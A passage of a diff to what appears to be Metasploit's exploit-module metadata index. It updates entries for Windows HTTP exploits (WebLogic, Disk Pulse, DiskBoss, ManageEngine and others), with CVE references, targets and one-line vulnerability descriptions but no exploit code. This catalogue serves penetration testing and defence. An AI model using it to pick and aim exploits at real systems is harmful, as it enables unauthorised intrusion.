null @@ -164778,16 +168957,14 @@ "exploit_windows/http/bea_weblogic_jsessionid": { "name": "BEA WebLogic JSESSIONID Cookie Value Overflow", "fullname": "exploit/windows/http/bea_weblogic_jsessionid", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-01-13", "type": "exploit", "author": [ "pusscat " ], - "description": "This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable\n code is only accessible when clustering is configured. A request containing a\n long JSESSION cookie value can lead to arbitrary code execution.", + "description": "This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable\n code is only accessible when clustering is configured. A request containing a\n long JSESSION cookie value can lead to arbitrary code execution.", "references": [ "CVE-2008-5457", "OSVDB-51311" @@ -164795,17 +168972,13 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Apache 2.2 - WebLogic module version 1.0.1136334", "Windows Apache 2.2 - WebLogic module version 1.0.1150354" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/bea_weblogic_jsessionid.rb", "is_install_path": true, "ref_name": "windows/http/bea_weblogic_jsessionid", @@ -164813,6 +168986,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164820,9 +169002,7 @@ "exploit_windows/http/bea_weblogic_post_bof": { "name": "Oracle Weblogic Apache Connector POST Request Buffer Overflow", "fullname": "exploit/windows/http/bea_weblogic_post_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-07-17", "type": "exploit", @@ -164830,7 +169010,7 @@ "KingCope", "juan vazquez " ], - "description": "This module exploits a stack based buffer overflow in the BEA\n Weblogic Apache plugin.\n\n The connector fails to properly handle specially crafted HTTP POST\n requests, resulting a buffer overflow due to the insecure usage\n of sprintf. Currently, this module works over Windows systems without DEP,\n and has been tested with Windows 2000 / XP.\n\n In addition, the Weblogic Apache plugin version is fingerprinted with a POST\n request containing a specially crafted Transfer-Encoding header.", + "description": "This module exploits a stack based buffer overflow in the BEA\n Weblogic Apache plugin.\n\n The connector fails to properly handle specially crafted HTTP POST\n requests, resulting a buffer overflow due to the insecure usage\n of sprintf. Currently, this module works over Windows systems without DEP,\n and has been tested with Windows 2000 / XP.\n\n In addition, the Weblogic Apache plugin version is fingerprinted with a POST\n request containing a specially crafted Transfer-Encoding header.", "references": [ "CVE-2008-3257", "OSVDB-47096", @@ -164860,7 +169040,7 @@ "BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]", "BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/bea_weblogic_post_bof.rb", "is_install_path": true, "ref_name": "windows/http/bea_weblogic_post_bof", @@ -164868,6 +169048,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164875,16 +169064,14 @@ "exploit_windows/http/bea_weblogic_transfer_encoding": { "name": "BEA Weblogic Transfer-Encoding Buffer Overflow", "fullname": "exploit/windows/http/bea_weblogic_transfer_encoding", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-09-09", "type": "exploit", "author": [ "pusscat " ], - "description": "This module exploits a stack based buffer overflow in the BEA\n Weblogic Apache plugin. This vulnerability exists in the\n error reporting for unknown Transfer-Encoding headers.\n You may have to run this twice due to timing issues with handlers.", + "description": "This module exploits a stack based buffer overflow in the BEA\n Weblogic Apache plugin. This vulnerability exists in the\n error reporting for unknown Transfer-Encoding headers.\n You may have to run this twice due to timing issues with handlers.", "references": [ "CVE-2008-4008", "OSVDB-49283" @@ -164910,7 +169097,7 @@ "targets": [ "Windows Apache 2.2 version Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb", "is_install_path": true, "ref_name": "windows/http/bea_weblogic_transfer_encoding", @@ -164918,6 +169105,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164925,16 +169121,14 @@ "exploit_windows/http/belkin_bulldog": { "name": "Belkin Bulldog Plus Web Service Buffer Overflow", "fullname": "exploit/windows/http/belkin_bulldog", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-03-08", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Belkin Bulldog Plus\n 4.0.2 build 1219. When sending a specially crafted http request,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Belkin Bulldog Plus\n 4.0.2 build 1219. When sending a specially crafted http request,\n an attacker may be able to execute arbitrary code.", "references": [ "OSVDB-54395", "BID-34033", @@ -164961,7 +169155,7 @@ "targets": [ "Windows XP SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/belkin_bulldog.rb", "is_install_path": true, "ref_name": "windows/http/belkin_bulldog", @@ -164969,6 +169163,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164976,9 +169179,7 @@ "exploit_windows/http/ca_arcserve_rpc_authbypass": { "name": "CA Arcserve D2D GWT RPC Credential Information Disclosure", "fullname": "exploit/windows/http/ca_arcserve_rpc_authbypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-25", "type": "exploit", @@ -164986,7 +169187,7 @@ "bannedit ", "rgod" ], - "description": "This module exploits an information disclosure vulnerability in the CA Arcserve\n D2D r15 web server. The information disclosure can be triggered by sending a\n specially crafted RPC request to the homepage servlet. This causes CA Arcserve to\n disclosure the username and password in cleartext used for authentication. This\n username and password pair are Windows credentials with Administrator access.", + "description": "This module exploits an information disclosure vulnerability in the CA Arcserve\n D2D r15 web server. The information disclosure can be triggered by sending a\n specially crafted RPC request to the homepage servlet. This causes CA Arcserve to\n disclosure the username and password in cleartext used for authentication. This\n username and password pair are Windows credentials with Administrator access.", "references": [ "CVE-2011-3011", "OSVDB-74162", @@ -165013,7 +169214,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb", "is_install_path": true, "ref_name": "windows/http/ca_arcserve_rpc_authbypass", @@ -165021,6 +169222,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165028,16 +169238,14 @@ "exploit_windows/http/ca_igateway_debug": { "name": "CA iTechnology iGateway Debug Mode Buffer Overflow", "fullname": "exploit/windows/http/ca_igateway_debug", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-10-06", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a vulnerability in the Computer Associates\n iTechnology iGateway component. When True is enabled\n in igateway.conf (non-default), it is possible to overwrite the stack\n and execute code remotely. This module works best with Ordinal payloads.", + "description": "This module exploits a vulnerability in the Computer Associates\n iTechnology iGateway component. When True is enabled\n in igateway.conf (non-default), it is possible to overwrite the stack\n and execute code remotely. This module works best with Ordinal payloads.", "references": [ "CVE-2005-3190", "OSVDB-19920", @@ -165048,16 +169256,12 @@ "platform": "Windows", "arch": "", "rport": 5250, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "iGateway 3.0.40621.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ca_igateway_debug.rb", "is_install_path": true, "ref_name": "windows/http/ca_igateway_debug", @@ -165065,6 +169269,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165072,16 +169285,14 @@ "exploit_windows/http/ca_totaldefense_regeneratereports": { "name": "CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection", "fullname": "exploit/windows/http/ca_totaldefense_regeneratereports", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-04-13", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a SQL injection flaw in CA Total Defense Suite R12.\n When supplying a specially crafted soap request to '/UNCWS/Management.asmx', an\n attacker can abuse the reGenerateReports stored procedure by injecting arbitrary sql\n statements into the ReportIDs element.", + "description": "This module exploits a SQL injection flaw in CA Total Defense Suite R12.\n When supplying a specially crafted soap request to '/UNCWS/Management.asmx', an\n attacker can abuse the reGenerateReports stored procedure by injecting arbitrary sql\n statements into the ReportIDs element.", "references": [ "ZDI-11-134", "OSVDB-74968", @@ -165108,7 +169319,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2022-06-29 19:10:52 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb", "is_install_path": true, "ref_name": "windows/http/ca_totaldefense_regeneratereports", @@ -165116,6 +169327,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165123,9 +169343,7 @@ "exploit_windows/http/cayin_xpost_sql_rce": { "name": "Cayin xPost wayfinder_seqid SQLi to RCE", "fullname": "exploit/windows/http/cayin_xpost_sql_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-04", "type": "exploit", @@ -165185,9 +169403,7 @@ "exploit_windows/http/cogent_datahub_command": { "name": "Cogent DataHub Command Injection", "fullname": "exploit/windows/http/cogent_datahub_command", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-04-29", "type": "exploit", @@ -165222,24 +169438,21 @@ "targets": [ "Cogent DataHub < 7.3.5" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/cogent_datahub_command.rb", "is_install_path": true, "ref_name": "windows/http/cogent_datahub_command", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/cogent_datahub_request_headers_bof": { "name": "Cogent DataHub HTTP Server Buffer Overflow", "fullname": "exploit/windows/http/cogent_datahub_request_headers_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-26", "type": "exploit", @@ -165247,7 +169460,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The\n vulnerability exists in the HTTP server. While handling HTTP headers, a\n strncpy() function is used in a dangerous way. This module has been tested\n successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.", + "description": "This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The\n vulnerability exists in the HTTP server. While handling HTTP headers, a\n strncpy() function is used in a dangerous way. This module has been tested\n successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.", "references": [ "CVE-2013-0680", "OSVDB-95819", @@ -165276,7 +169489,7 @@ "targets": [ "Windows XP SP3 English / Cogent DataHub 7.3.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb", "is_install_path": true, "ref_name": "windows/http/cogent_datahub_request_headers_bof", @@ -165284,6 +169497,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165291,16 +169513,14 @@ "exploit_windows/http/coldfusion_fckeditor": { "name": "ColdFusion 8.0.1 Arbitrary File Upload and Execute", "fullname": "exploit/windows/http/coldfusion_fckeditor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-07-03", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits the Adobe ColdFusion 8.0.1 FCKeditor 'CurrentFolder' File Upload\n and Execute vulnerability.", + "description": "This module exploits the Adobe ColdFusion 8.0.1 FCKeditor 'CurrentFolder' File Upload\n and Execute vulnerability.", "references": [ "CVE-2009-2265", "OSVDB-55684" @@ -165326,7 +169546,7 @@ "targets": [ "Universal Windows Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/coldfusion_fckeditor.rb", "is_install_path": true, "ref_name": "windows/http/coldfusion_fckeditor", @@ -165334,6 +169554,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165341,9 +169570,7 @@ "exploit_windows/http/cyclope_ess_sqli": { "name": "Cyclope Employee Surveillance Solution v6 SQL Injection", "fullname": "exploit/windows/http/cyclope_ess_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-08", "type": "exploit", @@ -165351,7 +169578,7 @@ "loneferret", "sinn3r " ], - "description": "This module exploits a SQL injection found in Cyclope Employee Surveillance\n Solution. Because the login script does not properly handle the user-supplied\n username parameter, a malicious user can manipulate the SQL query, and allows\n arbitrary code execution under the context of 'SYSTEM'.", + "description": "This module exploits a SQL injection found in Cyclope Employee Surveillance\n Solution. Because the login script does not properly handle the user-supplied\n username parameter, a malicious user can manipulate the SQL query, and allows\n arbitrary code execution under the context of 'SYSTEM'.", "references": [ "OSVDB-84517", "EDB-20393" @@ -165377,7 +169604,7 @@ "targets": [ "Cyclope Employee Surveillance Solution v6.2 or older" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/cyclope_ess_sqli.rb", "is_install_path": true, "ref_name": "windows/http/cyclope_ess_sqli", @@ -165385,6 +169612,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -165392,9 +169628,7 @@ "exploit_windows/http/desktopcentral_deserialization": { "name": "ManageEngine Desktop Central Java Deserialization", "fullname": "exploit/windows/http/desktopcentral_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2020-03-05", "type": "exploit", @@ -165458,16 +169692,14 @@ "exploit_windows/http/desktopcentral_file_upload": { "name": "ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload", "fullname": "exploit/windows/http/desktopcentral_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-11", "type": "exploit", "author": [ "Thomas Hibbert " ], - "description": "This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to\n v8 build 80293. A malicious user can upload a JSP file into the web root without\n authentication, leading to arbitrary code execution as SYSTEM.", + "description": "This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to\n v8 build 80293. A malicious user can upload a JSP file into the web root without\n authentication, leading to arbitrary code execution as SYSTEM.", "references": [ "CVE-2013-7390", "OSVDB-100008", @@ -165495,7 +169727,7 @@ "targets": [ "Desktop Central v7 - v8 build 80292 / Windows" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/desktopcentral_file_upload.rb", "is_install_path": true, "ref_name": "windows/http/desktopcentral_file_upload", @@ -165503,6 +169735,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -165510,16 +169751,14 @@ "exploit_windows/http/desktopcentral_statusupdate_upload": { "name": "ManageEngine Desktop Central StatusUpdate Arbitrary File Upload", "fullname": "exploit/windows/http/desktopcentral_statusupdate_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-08-31", "type": "exploit", "author": [ "Pedro Ribeiro " ], - "description": "This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral\n v7 to v9 build 90054 (including the MSP versions).\n A malicious user can upload a JSP file into the web root without authentication, leading to\n arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as\n they do not ship with a bundled Java compiler.", + "description": "This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral\n v7 to v9 build 90054 (including the MSP versions).\n A malicious user can upload a JSP file into the web root without authentication, leading to\n arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as\n they do not ship with a bundled Java compiler.", "references": [ "CVE-2014-5005", "OSVDB-110643", @@ -165546,7 +169785,7 @@ "targets": [ "Desktop Central v7 to v9 build 90054 / Windows" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb", "is_install_path": true, "ref_name": "windows/http/desktopcentral_statusupdate_upload", @@ -165554,6 +169793,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -165561,9 +169809,7 @@ "exploit_windows/http/disk_pulse_enterprise_bof": { "name": "Disk Pulse Enterprise Login Buffer Overflow", "fullname": "exploit/windows/http/disk_pulse_enterprise_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-10-03", "type": "exploit", @@ -165571,7 +169817,7 @@ "Chris Higgins", "Tulpa Security" ], - "description": "This module exploits a stack buffer overflow in Disk Pulse Enterprise\n 9.0.34. If a malicious user sends a malicious HTTP login request,\n it is possible to execute a payload that would run under the Windows\n NT AUTHORITY\\SYSTEM account. Due to size constraints, this module\n uses the Egghunter technique.", + "description": "This module exploits a stack buffer overflow in Disk Pulse Enterprise\n 9.0.34. If a malicious user sends a malicious HTTP login request,\n it is possible to execute a payload that would run under the Windows\n NT AUTHORITY\\SYSTEM account. Due to size constraints, this module\n uses the Egghunter technique.", "references": [ "EDB-40452" ], @@ -165596,7 +169842,7 @@ "targets": [ "Disk Pulse Enterprise 9.0.34" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb", "is_install_path": true, "ref_name": "windows/http/disk_pulse_enterprise_bof", @@ -165604,6 +169850,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165611,9 +169866,7 @@ "exploit_windows/http/disk_pulse_enterprise_get": { "name": "Disk Pulse Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/disk_pulse_enterprise_get", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-08-25", "type": "exploit", @@ -165621,7 +169874,7 @@ "Chance Johnson", "Nipun Jaswal & Anurag Srivastava" ], - "description": "This module exploits an SEH buffer overflow in Disk Pulse Enterprise\n 9.9.16. If a malicious user sends a crafted HTTP GET request\n it is possible to execute a payload that would run under the Windows\n NT AUTHORITY\\SYSTEM account.", + "description": "This module exploits an SEH buffer overflow in Disk Pulse Enterprise\n 9.9.16. If a malicious user sends a crafted HTTP GET request\n it is possible to execute a payload that would run under the Windows\n NT AUTHORITY\\SYSTEM account.", "references": [ "EDB-42560" ], @@ -165646,7 +169899,7 @@ "targets": [ "Disk Pulse Enterprise 9.9.16" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/disk_pulse_enterprise_get.rb", "is_install_path": true, "ref_name": "windows/http/disk_pulse_enterprise_get", @@ -165654,6 +169907,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165661,9 +169923,7 @@ "exploit_windows/http/diskboss_get_bof": { "name": "DiskBoss Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/diskboss_get_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-05", "type": "exploit", @@ -165673,7 +169933,7 @@ "Gabor Seljan", "Jacob Robles" ], - "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and v8.2.14,\n caused by improper bounds checking of the request path in HTTP GET\n requests sent to the built-in web server. This module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and v8.2.14,\n caused by improper bounds checking of the request path in HTTP GET\n requests sent to the built-in web server. This module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", "references": [ "EDB-40869", "EDB-42395" @@ -165702,7 +169962,7 @@ "DiskBoss Enterprise v7.5.12", "DiskBoss Enterprise v8.2.14" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/diskboss_get_bof.rb", "is_install_path": true, "ref_name": "windows/http/diskboss_get_bof", @@ -165710,6 +169970,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165717,9 +169986,7 @@ "exploit_windows/http/disksavvy_get_bof": { "name": "DiskSavvy Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/disksavvy_get_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-01", "type": "exploit", @@ -165727,7 +169994,7 @@ "vportal", "Gabor Seljan" ], - "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,\n caused by improper bounds checking of the request path in HTTP GET\n requests sent to the built-in web server. This module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,\n caused by improper bounds checking of the request path in HTTP GET\n requests sent to the built-in web server. This module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", "references": [ "CVE-2017-6187", "EDB-40869" @@ -165755,7 +170022,7 @@ "DiskSavvy Enterprise v9.1.14", "DiskSavvy Enterprise v9.3.14" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/disksavvy_get_bof.rb", "is_install_path": true, "ref_name": "windows/http/disksavvy_get_bof", @@ -165763,6 +170030,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165770,16 +170046,14 @@ "exploit_windows/http/disksorter_bof": { "name": "Disk Sorter Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/disksorter_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-03-15", "type": "exploit", "author": [ "Daniel Teixeira" ], - "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of Disk Sorter Enterprise v9.5.12, caused by\n improper bounds checking of the request path in HTTP GET requests\n sent to the built-in web server. This module has been tested\n successfully on Windows 7 SP1 x86.", + "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of Disk Sorter Enterprise v9.5.12, caused by\n improper bounds checking of the request path in HTTP GET requests\n sent to the built-in web server. This module has been tested\n successfully on Windows 7 SP1 x86.", "references": [ "CVE-2017-7230" ], @@ -165804,7 +170078,7 @@ "targets": [ "Disk Sorter Enterprise v9.5.12" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/disksorter_bof.rb", "is_install_path": true, "ref_name": "windows/http/disksorter_bof", @@ -165812,6 +170086,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -165819,9 +170102,7 @@ "exploit_windows/http/dlink_central_wifimanager_rce": { "name": "D-Link Central WiFi Manager CWM(100) RCE", "fullname": "exploit/windows/http/dlink_central_wifimanager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-07-09", "type": "exploit", @@ -165879,9 +170160,7 @@ "exploit_windows/http/dnn_cookie_deserialization_rce": { "name": "DotNetNuke Cookie Deserialization Remote Code Excecution", "fullname": "exploit/windows/http/dnn_cookie_deserialization_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-20", "type": "exploit", @@ -165939,9 +170218,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -165949,9 +170226,7 @@ "exploit_windows/http/dup_scout_enterprise_login_bof": { "name": "Dup Scout Enterprise Login Buffer Overflow", "fullname": "exploit/windows/http/dup_scout_enterprise_login_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-11-14", "type": "exploit", @@ -165991,7 +170266,7 @@ "Dup Scout Enterprise 9.9.14 (x86)", "Dup Scout Enterprise 10.0.18 (x86)" ], - "mod_time": "2021-02-25 17:14:25 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/dup_scout_enterprise_login_bof.rb", "is_install_path": true, "ref_name": "windows/http/dup_scout_enterprise_login_bof", @@ -166015,9 +170290,7 @@ "exploit_windows/http/dupscts_bof": { "name": "Dup Scout Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/dupscts_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-03-15", "type": "exploit", @@ -166061,7 +170334,7 @@ "Dup Scout Enterprise v9.9.14 (x86)", "Dup Scout Enterprise v10.0.18 (x86)" ], - "mod_time": "2021-02-25 17:12:27 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/dupscts_bof.rb", "is_install_path": true, "ref_name": "windows/http/dupscts_bof", @@ -166085,9 +170358,7 @@ "exploit_windows/http/easychatserver_seh": { "name": "Easy Chat Server User Registeration Buffer Overflow (SEH)", "fullname": "exploit/windows/http/easychatserver_seh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-10-09", "type": "exploit", @@ -166120,7 +170391,7 @@ "targets": [ "Easy Chat Server 2.0 to 3.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/easychatserver_seh.rb", "is_install_path": true, "ref_name": "windows/http/easychatserver_seh", @@ -166128,6 +170399,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166135,9 +170415,7 @@ "exploit_windows/http/easyfilesharing_post": { "name": "Easy File Sharing HTTP Server 7.2 POST Buffer Overflow", "fullname": "exploit/windows/http/easyfilesharing_post", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-06-12", "type": "exploit", @@ -166152,16 +170430,12 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Easy File Sharing 7.2 HTTP" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/easyfilesharing_post.rb", "is_install_path": true, "ref_name": "windows/http/easyfilesharing_post", @@ -166169,6 +170443,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166176,9 +170459,7 @@ "exploit_windows/http/easyfilesharing_seh": { "name": "Easy File Sharing 